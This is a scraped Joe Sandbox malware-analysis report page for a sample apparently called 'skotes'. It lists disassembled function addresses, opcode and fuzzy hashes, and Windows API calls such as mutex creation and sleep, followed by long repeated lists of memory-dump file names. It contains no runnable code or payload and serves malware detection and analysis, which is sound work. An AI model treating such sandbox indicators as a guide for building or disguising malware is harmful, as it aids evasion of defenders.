Associated: 00000006.00000002.3048180833.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: d5cd2ca745cb42efc41fba494300730db165f409dde54fce4e98308f54b8814e
Instruction ID: 19a46713467eaa69903562368a918c8921fe5399eb0a71d65200c58e0e9f98bc
Opcode Fuzzy Hash: d5cd2ca745cb42efc41fba494300730db165f409dde54fce4e98308f54b8814e
Instruction Fuzzy Hash: C4312A31B003009BEB089BBCDC99B6DB771EF96314F688618E0A4DB6D6D7F559808652

Function 0010A54D Relevance: 4.6, APIs: 3, Instructions: 132sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0010A550
Sleep.KERNEL32(00000064,?), ref: 0010A963
CreateMutexA.KERNEL32(00000000,00000000,00163254), ref: 0010A981

Memory Dump Source

Source File: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000006.00000002.3035335607.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3035558998.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037014250.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037427966.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037640700.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3038977391.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3039231334.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041259212.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041476076.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042013283.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042265069.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042498358.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042827694.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043183017.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043350805.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044269303.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044483030.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044655799.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044869067.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045008865.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045098739.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045202265.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045352715.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045506744.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045630904.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045752399.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045916157.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046068113.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046158916.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046289222.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046370862.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046536761.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046691297.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046778582.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046870463.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046971961.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047058405.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047192814.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047495300.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047614481.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047710453.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047840088.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047924632.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048044910.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048180833.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: c3600b714f8a4956ed7b43877561c58ed55c03ff227cd25cbd09977c42b799d5
Instruction ID: ebc19fe2f192ce1dfb14d2e98db08518ce04d8a5da6daf714a44f95b10b5d738
Opcode Fuzzy Hash: c3600b714f8a4956ed7b43877561c58ed55c03ff227cd25cbd09977c42b799d5
Instruction Fuzzy Hash: 26314E31B003009BEB08DB78DC99B6CB771EF86318F648618E094E76D2DBB599808752

Function 0010A682 Relevance: 4.6, APIs: 3, Instructions: 131sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0010A685
Sleep.KERNEL32(00000064,?), ref: 0010A963
CreateMutexA.KERNEL32(00000000,00000000,00163254), ref: 0010A981

Memory Dump Source

Source File: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000006.00000002.3035335607.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3035558998.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037014250.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037427966.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037640700.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3038977391.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3039231334.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041259212.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041476076.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042013283.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042265069.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042498358.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042827694.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043183017.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043350805.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044269303.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044483030.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044655799.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044869067.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045008865.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045098739.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045202265.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045352715.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045506744.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045630904.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045752399.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045916157.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046068113.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046158916.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046289222.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046370862.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046536761.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046691297.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046778582.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046870463.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046971961.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047058405.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047192814.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047495300.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047614481.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047710453.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047840088.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047924632.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048044910.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048180833.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 83f3845639551315b30ba9eaa3181696d9bf9f4ba1f9f066a3468646a6b9789a
Instruction ID: c61402bfac65d9a1767bc54463f023d166f86dba26bc1ad52a66d282590cb567
Opcode Fuzzy Hash: 83f3845639551315b30ba9eaa3181696d9bf9f4ba1f9f066a3468646a6b9789a
Instruction Fuzzy Hash: FF314C31B003009BEB08DB7CDC99B6DB772EF86314F648618E054D76D2D7F659808652

Function 0010A7B7 Relevance: 4.6, APIs: 3, Instructions: 130sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0010A7BA
Sleep.KERNEL32(00000064,?), ref: 0010A963
CreateMutexA.KERNEL32(00000000,00000000,00163254), ref: 0010A981

Memory Dump Source

Source File: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000006.00000002.3035335607.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3035558998.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037014250.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037427966.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037640700.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3038977391.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3039231334.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041259212.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041476076.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042013283.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042265069.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042498358.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042827694.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043183017.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043350805.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044269303.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044483030.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044655799.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044869067.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045008865.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045098739.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045202265.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045352715.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045506744.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045630904.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045752399.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045916157.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046068113.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046158916.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046289222.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046370862.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046536761.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046691297.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046778582.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046870463.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046971961.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047058405.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047192814.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047495300.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047614481.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047710453.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047840088.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047924632.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048044910.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048180833.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 337c742432f9286765307e2eaa382baf23cac78585dbf6017cafc5335d3211f2
Instruction ID: fdbee7a345ca3146ef282519233ec33695810db0d88d56cdd4ccfbc9b1b98b5d
Opcode Fuzzy Hash: 337c742432f9286765307e2eaa382baf23cac78585dbf6017cafc5335d3211f2
Instruction Fuzzy Hash: 0C316A31B003048BEB08DB7CDD99BACB772EF82314F64861DE054E72D2DBB559818752

Function 00136E4C Relevance: 3.1, APIs: 2, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000006.00000002.3035335607.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3035558998.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037014250.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037427966.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037640700.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3038977391.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3039231334.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041259212.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041476076.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042013283.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042265069.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042498358.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042827694.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043183017.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043350805.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044269303.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044483030.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044655799.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044869067.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045008865.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045098739.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045202265.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045352715.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045506744.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045630904.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045752399.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045916157.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046068113.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046158916.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046289222.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046370862.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046536761.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046691297.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046778582.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046870463.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046971961.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047058405.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047192814.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047495300.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047614481.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047710453.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047840088.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047924632.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048044910.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048180833.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_100000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a389f8997daf844baa7ec5e8192124ee75d87e4cd5c70bf1f071acb2ddaa6f6
Instruction ID: 9ac8e0f30944b0a9f2c5411564be586a6c1a323064a879f949dd290091fab1f0
Opcode Fuzzy Hash: 3a389f8997daf844baa7ec5e8192124ee75d87e4cd5c70bf1f071acb2ddaa6f6
Instruction Fuzzy Hash: 0421DA72905108BBEB21BB68DC42FAF376DDF52378F214325F9242B1D1DBB0AE059661

Function 0010A960 Relevance: 3.0, APIs: 2, Instructions: 43sleepsynchronizationCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000064,?), ref: 0010A963
CreateMutexA.KERNEL32(00000000,00000000,00163254), ref: 0010A981

Memory Dump Source

Source File: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000006.00000002.3035335607.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3035558998.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037014250.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037427966.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037640700.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3038977391.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3039231334.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041259212.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041476076.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042013283.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042265069.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042498358.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042827694.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043183017.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043350805.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044269303.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044483030.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044655799.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044869067.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045008865.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045098739.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045202265.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045352715.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045506744.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045630904.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045752399.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045916157.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046068113.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046158916.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046289222.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046370862.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046536761.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046691297.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046778582.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046870463.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046971961.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047058405.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047192814.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047495300.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047614481.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047710453.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047840088.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047924632.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048044910.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048180833.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
